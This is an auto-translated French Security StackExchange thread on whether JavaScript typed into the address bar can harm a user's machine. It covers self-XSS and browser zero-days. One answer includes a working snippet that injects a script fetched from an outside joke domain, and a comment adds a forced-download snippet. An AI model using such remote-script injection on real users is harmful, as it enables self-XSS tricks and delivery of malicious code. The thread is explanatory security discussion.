Question:
L'exécution de javascript à partir de la barre d'adresse peut-elle endommager la machine du client?
gurvinder372
2016-03-29 14:44:27 UTC
view on stackexchange narkive permalink

Étant donné que les navigateurs modernes de nos jours interdisent à JavaScript d'accéder à des ressources sur la machine du client, l'exécution de JavaScript à partir de la barre d'adresse représente-t-elle une menace pour la machine du client (la machine sur laquelle le navigateur s'exécute)?

Deux réponses:
Cristian Dobre
2016-03-29 15:16:44 UTC
view on stackexchange narkive permalink

Ce JavaScript exécuté à partir de la barre d'adresse s'exécutera dans le contexte du site Web affiché dans cet onglet. Cela signifie un accès complet à ce site Web et cela pourrait changer l'apparence et le comportement du site Web du point de vue de l'utilisateur.

Cette attaque s'appelle self XSS et peut causer des dommages à l'utilisateur et indirectement à la machine. Un site Web réputé peut demander à l'utilisateur de télécharger et d'installer un morceau de code exécutable malveillant en prétendant, par exemple, qu'il a besoin d'une mise à jour Flash.

Pour obtenir un bel exemple visuel de cela, tapez manuellement javascript: dans votre barre d'adresse puis collez ceci: z = document.createElement ("script"); z.src = "https://peniscorp.com/topkek.js"; document.body.appendChild (z); Si vous ne me faites pas confiance, faites-le dans la barre d'adresse d'un site Web auquel vous n'êtes pas connecté.

La plupart des navigateurs ont réalisé cette vulnérabilité et essayez de limiter l'impact en supprimant javascript: lors du collage de javascript: some_js_code dans la barre d'adresse. Mais il est toujours possible de l'écrire manuellement et de l'exécuter.

Comment pouvez-vous télécharger un morceau de code exécutable malveillant à partir du JavaScript de la barre d'adresse?De plus, avez-vous une idée du nombre de navigateurs prenant encore en charge la barre d'adresse JS?
Collez-le dans votre navigateur, puis ajoutez manuellement un j au début`avascript: var link = document.createElement ("a");link.download = 'nom';link.href = 'https://i.imgur.com/VTCUz.png';link.click (); `JavaScript peut faire tout ce que fait le site Web ou que l'utilisateur fait.
@CristianDobre C'était une occasion manquée pour Rickrolling si jamais j'en voyais une
Dans Chrome, je ne peux même pas copier-coller `javascript:` seul.
La réponse n'est pas possible dans Firefox 45.0, je ne peux rien exécuter dans js sauf si je l'active spécifiquement dans les options
@arc_lupus cela fonctionne pour moi dans un onglet qui a déjà une page chargée
@CristianDobre Je ne vous ferai plus jamais confiance.
@CristianDobre: http://imgur.com/DgSaWAt, je l'ai essayé directement ici, cela n'a pas fonctionné.
@DavidGrinberg: Idem dans Firefox, le copier-coller ne fonctionne pas.
@arc_lupus: NoScript, qui est une extension de Firefox, fait le blocage
niilzon
2016-03-29 18:40:33 UTC
view on stackexchange narkive permalink

Je voudrais compléter la réponse acceptée de Cristian Dobre, qui est correcte mais incomplète.

L'exécution de javascript (que ce soit via une barre d'adresse ou via des moyens plus classiques n'a pas d'importance ici) peut, dans certains cas, conduire à l'exécution de code à distance en exploitant les dépassements de tampon (ou des failles similaires) dans les navigateurs. C'est l'une des raisons pour lesquelles il est assez important de patcher régulièrement les navigateurs.

De telles occurrences sont rarement découvertes dans la nature mais existent, et de nouvelles sont découvertes chaque année (Chrome en avait moins que Firefox qui en a BEAUCOUP MOINS que IE, dans le passé).

Un bon exemple ici sur SO: https://stackoverflow.com/questions/381171/help-me-understand-this-javascript-exploit

Donc, pour répondre à votre question: oui, cela peut endommager la machine d'un client. Si la machine est entièrement corrigée, seul un jour zéro (extrêmement improbable mais toujours techniquement possible) pourrait faire un tel mal. Les jours zéro avec une telle puissance sont principalement, "heureusement", utilisés pour des attaques ciblées pour éviter l'attention et maximiser les chances de non-détection (et donc de réutilisation future).

Pouvez-vous s'il vous plaît préciser «Si la machine est entièrement corrigée»?
Ce que je voulais dire par "si la machine est entièrement corrigée" est: "si le navigateur est entièrement patché". Dans des attaques comme celle-ci, patcher le système d'exploitation ne fait aucune différence (même si les systèmes d'exploitation non corrigés ouvrent évidemment d'autres vecteurs d'attaque).mais ce n'est pas spécifiquement lié à Javascript, tous les plugins de navigateur exécutant du code d'une manière ou d'une autre (voir: plugin de navigateur Java, Flash) doivent être patchés.Si vous regardez le lien dans ma réponse, vous verrez que cet exemple exploite un bogue dans une bibliothèque IE.Je ne connais pas les détails de cet échantillon particulier mais je suppose que cela ne fonctionne qu'avec d'anciens IE
En fait, les navigateurs modernes utilisent les dispositions de sécurité fournies par le système d'exploitation (telles que l'exécution de leurs processus de rendu en mode de faible intégrité sous Windows), de sorte que la correction du système d'exploitation peut faire une grande différence pour les exploits.Également une source réelle pour votre affirmation selon laquelle Chrome a «BEAUCOUP MOINS [exploits de sécurité] que IE»?Ou parlons-nous du passé ancien ici?Parce que comparer les entrées IE11 CVE à Chrome montre une image assez similaire et IE + EMET est à peu près le navigateur le plus sécurisé qui soit pour le moment.
@Voo: ma source pour "Chrome a moins que Firefox qui en a moins que IE" est, par exemple pour 2015, les résultats du concours Pwn2Own http://www.zdnet.com/article/pwn2own-2015-the-year-every-browser-down-down / Autant que je me souvienne, des résultats similaires reviennent chaque année.Je dois admettre que je n'ai pas de liste consolidée de tous les exploits précédemment trouvés.
@niilzon pwn2own montre simplement que chaque navigateur a été piraté.Ce qui est arrivé depuis quelques années.En fait, je ne peux penser qu'à un seul prix non collecté et c'était en 2014 pour IE11 avec EMET (ce qui avait plus à voir avec le fait que vous pouviez vendre cet exploit pour un peu plus aux gouvernements que c'était impossible).Si vous passez par les entrées CVE, les différents navigateurs semblent assez similaires pour les exploits d'exécution à distance et tout autour (tant que vous vous en tenez aux dernières versions d'IE et ne jetez pas les plus anciennes également).


ⓘ
Ce Q&R a été automatiquement traduit de la langue anglaise.Le contenu original est disponible sur stackexchange, que nous remercions pour la licence cc by-sa 3.0 sous laquelle il est distribué.
Loading...